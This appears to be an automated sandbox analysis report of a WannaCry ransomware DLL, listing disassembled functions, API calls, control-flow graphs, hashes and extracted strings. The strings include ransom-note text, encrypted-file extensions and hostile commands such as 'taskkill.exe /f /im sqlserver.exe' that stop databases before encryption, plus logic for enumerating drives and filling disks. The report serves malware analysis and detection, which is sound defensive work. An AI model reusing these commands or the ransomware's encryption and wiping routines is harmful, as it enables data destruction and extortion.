                                                                                                                                                                                • Opcode ID: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                                                                                                                                                                • Instruction ID: 8a3fb1430c27dfc228261433490dab6bd00980f295ff4bb0f266184577da6e41
                                                                                                                                                                                • Opcode Fuzzy Hash: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                                                                                                                                                                • Instruction Fuzzy Hash: B7C17022A083D24BD305CF7988E009AFFE2BFDE244B4ED4BDE5C99B366C57195098791
                                                                                                                                                                                Function 10006640 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006659
                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006669
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ??0exception@@ExceptionThrow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 941485209-0
                                                                                                                                                                                • Opcode ID: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                                                                                                                                                                • Instruction ID: 79948d9e1e0e4fd9a86f40f9287b0f552434bc35f44e017899462d58d151028f
                                                                                                                                                                                • Opcode Fuzzy Hash: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                                                                                                                                                                • Instruction Fuzzy Hash: FF91BE756083828FD718CF28C890A9ABBE2FFCE344F25496DE989C7315C631E945CB91
                                                                                                                                                                                Function 10003BB0 Relevance: 1.5, APIs: 1, Instructions: 24encryptionCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BE7
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ContextCryptRelease
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 829835001-0
                                                                                                                                                                                • Opcode ID: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                                                                                                                                                                • Instruction ID: f1cc2cf111f110fe811ea6370cd5c313e44567005eb2b288da12d319a42cafb9
                                                                                                                                                                                • Opcode Fuzzy Hash: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                                                                                                                                                                • Instruction Fuzzy Hash: B4E0E5706007119BF7609F26D888F1777ECAF447A4F01C81DF49AD7694CBB8E8408B60
                                                                                                                                                                                Function 10004420 Relevance: 1.5, APIs: 1, Instructions: 8encryptionCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CryptRandom
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2662593985-0
                                                                                                                                                                                • Opcode ID: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                                                                                                                                                                • Instruction ID: 910617a22df543c658d5e937306ede2f8c1cb301d3e6414bbcf59057d7a0af43
                                                                                                                                                                                • Opcode Fuzzy Hash: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                                                                                                                                                                • Instruction Fuzzy Hash: 8CC04C76904100FFD640DB54C988C1BB7E8BBD8740B10C508F148C3219C235DC02CB71
                                                                                                                                                                                Function 10005AE0 Relevance: 54.5, APIs: 28, Strings: 3, Instructions: 223threadsleepsynchronizationCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10004690: CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                                                                                                                                                                  • Part of subcall function 10004690: GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                                                                                                                                                                  • Part of subcall function 10004690: FindCloseChangeNotification.KERNELBASE(00000000,?,10005B11), ref: 100046B4
                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(?,?,00000103), ref: 10005B45
                                                                                                                                                                                • wcsrchr.MSVCRT ref: 10005B58
                                                                                                                                                                                • wcsrchr.MSVCRT ref: 10005B68
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 10005B75
                                                                                                                                                                                • sprintf.MSVCRT ref: 10005BBA
                                                                                                                                                                                • sprintf.MSVCRT ref: 10005BCA
                                                                                                                                                                                • sprintf.MSVCRT ref: 10005BDA
                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT ref: 10005C00
                                                                                                                                                                                • DeleteFileA.KERNEL32(1000DCF0,1000DD24,1000DD58), ref: 10005C66
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10004790,00000000,00000000,00000000), ref: 10005CAE
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005CBB
                                                                                                                                                                                • Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CC5
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,100045C0,00000000,00000000,00000000), ref: 10005CD1
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005CD8
                                                                                                                                                                                • Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CDC
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10005730,00000000,00000000,00000000), ref: 10005CE8
                                                                                                                                                                                • Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CEE
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10005300,00000000,00000000,00000000), ref: 10005CFF
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D06
                                                                                                                                                                                • Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005D0A
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D1B
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D22
                                                                                                                                                                                • Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005D26
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,1000DC68,00000008), ref: 10005D34
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D3B
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D4C
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10005D57
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 10005D5E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseCreate$HandleThread$Sleep$sprintf$FileObjectSingleWaitwcsrchr$??2@ChangeCurrentDeleteDirectoryErrorFindLastModuleMutexNameNotification
                                                                                                                                                                                • String ID: %08X.eky$%08X.pky$%08X.res
                                                                                                                                                                                • API String ID: 3163230359-3668219273
                                                                                                                                                                                • Opcode ID: 8384d0590fb09989071107e68a93cf6608d850cea9bcd47e1e5a0731374ff6b2
                                                                                                                                                                                • Instruction ID: e4175da2d662a7d129a6a1c994910e1168799e87a5461eb6227fef153a444960
                                                                                                                                                                                • Opcode Fuzzy Hash: 8384d0590fb09989071107e68a93cf6608d850cea9bcd47e1e5a0731374ff6b2
                                                                                                                                                                                • Instruction Fuzzy Hash: 0051B1B1A00355BBF620EBB49CC9FAF369CEB446C5F010926FA05961C9EF75AC008676
                                                                                                                                                                                Function 100057C0 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 227sleepCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 138 100057c0-1000580e call 10001590 call 10001830 143 10005814-10005822 GetFileAttributesA 138->143 144 10005aae-10005ada call 10001680 138->144 146 10005834-1000583a 143->146 147 10005824-1000582f call 100018f0 143->147 148 10005884-100058a5 call 10004cd0 call 10004df0 call 10005480 146->148 149 1000583c-10005881 time call 10004730 sprintf call 10001080 call 10001000 146->149 147->146 148->144 164 100058ab-100058b4 148->164 149->148 165 100058ba-100058d1 InterlockedExchange 164->165 166 100058d3-10005919 call 10001080 * 5 165->166 167 1000591c-10005924 GetLogicalDrives 165->167 166->167 169 10005926 167->169 171 1000592b-1000594e 169->171 172 10005950-10005959 171->172 173 10005997-1000599b 171->173 175 10005991-10005995 172->175 176 1000595b-1000595d 172->176 173->169 178 1000599d-100059cc InterlockedExchange call 10004a40 173->178 175->171 175->173 179 1000596d-10005970 176->179 180 1000595f-10005969 GetDriveTypeW 176->180 190 100059f4-10005a0e time call 10004730 178->190 191 100059ce-100059f1 sprintf call 10001080 178->191 184 10005972-1000597c GetDriveTypeW 179->184 185 1000597e-1000598e call 10005540 179->185 180->175 183 1000596b 180->183 183->185 184->175 184->185 185->175 199 10005a10-10005a33 sprintf call 10001080 190->199 200 10005a36-10005a38 190->200 191->190 199->200 203 10005a93-10005aa5 Sleep 200->203 204 10005a3a-10005a44 call 10005190 200->204 205 100058b6 203->205 206 10005aab-10005aad 203->206 210 10005a49-10005a50 204->210 205->165 206->144 210->203 211 10005a52-10005a5b 210->211 212 10005a8d-10005a91 211->212 213 10005a5d-10005a82 GetDriveTypeW 211->213 212->203 212->210 213->212 214 10005a84-10005a8a call 10005190 213->214 214->212
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10001590: ??2@YAPAXI@Z.MSVCRT ref: 100015FC
                                                                                                                                                                                • GetFileAttributesA.KERNEL32(f.wnry,1000DD24,10005340,1000DD8C,75730F10), ref: 10005819
                                                                                                                                                                                • time.MSVCRT ref: 1000583D
                                                                                                                                                                                • sprintf.MSVCRT ref: 1000585F
                                                                                                                                                                                • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100058C1
                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 1000591C
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 10005964
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 10005977
                                                                                                                                                                                • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100059A4
                                                                                                                                                                                • sprintf.MSVCRT ref: 100059DD
                                                                                                                                                                                • time.MSVCRT ref: 100059F6
                                                                                                                                                                                • sprintf.MSVCRT ref: 10005A1F
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?), ref: 10005A7D
                                                                                                                                                                                • Sleep.KERNEL32(0000EA60), ref: 10005A98
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DriveTypesprintf$ExchangeInterlockedtime$??2@AttributesDrivesFileLogicalSleep
                                                                                                                                                                                • String ID: :\$%s co$%s fi$@WanaDecryptor@.exe$cmd.exe /c start /b %s vs$f.wnry$taskkill.exe /f /im MSExchange*$taskkill.exe /f /im Microsoft.Exchange.*$taskkill.exe /f /im mysqld.exe$taskkill.exe /f /im sqlserver.exe$taskkill.exe /f /im sqlwriter.exe
                                                                                                                                                                                • API String ID: 2286268318-4238423517
                                                                                                                                                                                • Opcode ID: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                                                                                                                                                                • Instruction ID: ad20d759d00d317bb7bba8036ca53a4a21ed912866785a7fe56f7d9f5780bade
                                                                                                                                                                                • Opcode Fuzzy Hash: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                                                                                                                                                                • Instruction Fuzzy Hash: 4771D475A04351ABF320EB64CC81BCF73A4EB847D5F00062AF689962DDEF71A544C7A6
                                                                                                                                                                                Function 100032C0 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 133COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcsicmp$_wcsnicmpwcsstr
                                                                                                                                                                                • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                                                                                                                                                                • API String ID: 2817753184-2255769345
                                                                                                                                                                                • Opcode ID: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                                                                                                                                                                • Instruction ID: 38e0f07987acc90c5f2470768db190762cea25da07dd160877f69bc08099ee56
                                                                                                                                                                                • Opcode Fuzzy Hash: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                                                                                                                                                                • Instruction Fuzzy Hash: E7318F3375166522F211E21DAC81FCB138CDFA52E7F028033FE44E5144E74AAAAA86B1
                                                                                                                                                                                Function 10004DF0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 89fileCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: sprintf$fclose$AttributesFile_ftol_wfopenfopenfreadfwrite
                                                                                                                                                                                • String ID: $%d worth of bitcoin$%.1f BTC$@Please_Read_Me@.txt$@WanaDecryptor@.exe$r.wnry
                                                                                                                                                                                • API String ID: 3877625632-3869893125
                                                                                                                                                                                • Opcode ID: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                                                                                                                                                                • Instruction ID: e660b577af69ff821e56b4899d06e5cea9328265c4e53c1252cafca3024faee2
                                                                                                                                                                                • Opcode Fuzzy Hash: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                                                                                                                                                                • Instruction Fuzzy Hash: 3A21A875504651ABF320E764CC84DDF3799FB843D0F010A15FA9492199DB78A9488BB6
                                                                                                                                                                                Function 100029F0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 130sleepthreadCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 400 100029f0-100029fe 401 10002a04 400->401 402 10002b88-10002b89 ExitThread 400->402 403 10002a06-10002a0c 401->403 403->402 404 10002a12-10002a21 Sleep 403->404 404->403 405 10002a23-10002a29 404->405 405->402 406 10002a2f-10002a42 EnterCriticalSection 405->406 407 10002a48 406->407 408 10002b6f-10002b82 LeaveCriticalSection 406->408 409 10002a4e-10002a64 407->409 408->401 408->402 410 10002a66 409->410 411 10002a68-10002a74 wcslen 409->411 410->411 412 10002ae4-10002aed 411->412 413 10002a76-10002a82 411->413 416 10002b0a-10002b26 412->416 417 10002aef-10002b03 GetFileAttributesW SetFileAttributesW 412->417 418 10002a84-10002a8e GetFileAttributesW 413->418 419 10002aab-10002ae2 swprintf 413->419 420 10002b46-10002b69 ??3@YAXPAX@Z 416->420 421 10002b28-10002b2d 416->421 417->416 418->419 422 10002a90-10002aa4 GetFileAttributesW SetFileAttributesW 418->422 419->412 419->416 420->408 420->409 424 10002b3a-10002b43 ??3@YAXPAX@Z 421->424 425 10002b2f-10002b31 421->425 422->419 424->420 425->424 426 10002b33-10002b38 425->426 426->420
                                                                                                                                                                                APIs
                                                                                                                                                                                • Sleep.KERNEL32(000003E8,?,?,?,?,100029E9), ref: 10002A17
                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002A36
                                                                                                                                                                                • wcslen.MSVCRT ref: 10002A69
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 10002A85
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 10002A91
                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 10002A9B
                                                                                                                                                                                • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 10002ACD
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(6D276090), ref: 10002AF0
                                                                                                                                                                                • SetFileAttributesW.KERNEL32(6D276090,00000000), ref: 10002AFA
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002B3E
                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT ref: 10002B50
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002B76
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 10002B89
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AttributesFile$??3@CriticalSection$EnterExitLeaveSleepThreadswprintfwcslen
                                                                                                                                                                                • String ID: %s\%d%s$.WNCRYT
                                                                                                                                                                                • API String ID: 541742131-2625268679
                                                                                                                                                                                • Opcode ID: 416b6587817f08babe79313ee86e21aeeaa95a5509742ae4655fe4cf5dc1a10b
                                                                                                                                                                                • Instruction ID: 4eadcc60a9fd2c13a81cde3cb6b98b1cf7f5e87c47d95b9730b2c0affcd99018
                                                                                                                                                                                • Opcode Fuzzy Hash: 416b6587817f08babe79313ee86e21aeeaa95a5509742ae4655fe4cf5dc1a10b
                                                                                                                                                                                • Instruction Fuzzy Hash: F1418DB0A00645EFE320DF24CCC8AABB7EDFB493C5B40452DF65A92259DB34A905CF21
                                                                                                                                                                                Function 10005190 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 117filesleepmemoryCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 427 10005190-100051c9 GetDriveTypeW 428 100052ee-100052f7 427->428 429 100051cf-100051e0 GlobalAlloc 427->429 429->428 430 100051e6-10005237 call 10005120 CreateFileW 429->430 433 10005239-10005249 GlobalFree 430->433 434 1000524a-10005261 MoveFileExW 430->434 435 10005263 434->435 436 100052cd-100052ed GlobalFree FlushFileBuffers CloseHandle DeleteFileW 434->436 437 10005269-10005285 GetDiskFreeSpaceExW 435->437 436->428 437->436 438 10005287-1000528d 437->438 439 10005299 438->439 440 1000528f-10005297 438->440 441 1000529b-100052b1 WriteFile 439->441 440->436 440->439 441->436 442 100052b3-100052bb Sleep 441->442 442->441 443 100052bd-100052cb Sleep 442->443 443->436 443->437
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDriveTypeW.KERNEL32(00000000,00000001,00000000,00000000), ref: 100051C0
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000000,00A00000), ref: 100051D6
                                                                                                                                                                                  • Part of subcall function 10005120: swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                                                                                                                                                                  • Part of subcall function 10005120: DeleteFileW.KERNEL32(?), ref: 10005174
                                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 1000522C
                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 1000523A
                                                                                                                                                                                • MoveFileExW.KERNEL32(?,00000000,00000004,75733300), ref: 10005254
                                                                                                                                                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 1000527D
                                                                                                                                                                                • WriteFile.KERNEL32(00000000,00000000,00A00000,?,00000000), ref: 100052A9
                                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 100052B5
                                                                                                                                                                                • Sleep.KERNEL32(00002710), ref: 100052C2
                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 100052CE
                                                                                                                                                                                • FlushFileBuffers.KERNEL32(00000000), ref: 100052D5
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 100052DC
                                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 100052E7
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$FreeGlobal$DeleteSleep$AllocBuffersCloseCreateDiskDriveFlushHandleMoveSpaceTypeWriteswprintf
                                                                                                                                                                                • String ID: :\$UUUU
                                                                                                                                                                                • API String ID: 3329057766-2502105546
                                                                                                                                                                                • Opcode ID: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                                                                                                                                                                • Instruction ID: c3553bfb2ce832e5e524584dfb39294b6681cea42b2672b67cd9b1e4f92b37f1
                                                                                                                                                                                • Opcode Fuzzy Hash: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                                                                                                                                                                • Instruction Fuzzy Hash: 6241A031604311ABF300EB64DC89FAF77E9FF85791F100A29FA45861D4EB79E9488762
                                                                                                                                                                                Function 10004440 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 444 10004440-10004448 445 10004451-10004460 LoadLibraryA 444->445 446 1000444a-10004450 444->446 447 10004466-100044c4 GetProcAddress * 6 445->447 448 100044f9-100044fc 445->448 447->448 449 100044c6-100044ce 447->449 449->448 450 100044d0-100044d8 449->450 450->448 451 100044da-100044e2 450->451 451->448 452 100044e4-100044ec 451->452 452->448 453 100044ee-100044f0 452->453 453->448 454 100044f2-100044f8 453->454
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(advapi32.dll,75D9A710,10003416,75D9A710,10005BA1), ref: 10004456
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 10004473
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 10004480
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 1000448D
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 1000449A
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 100044A7
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 100044B4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                                                                                                • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                                                                                                • API String ID: 2238633743-2459060434
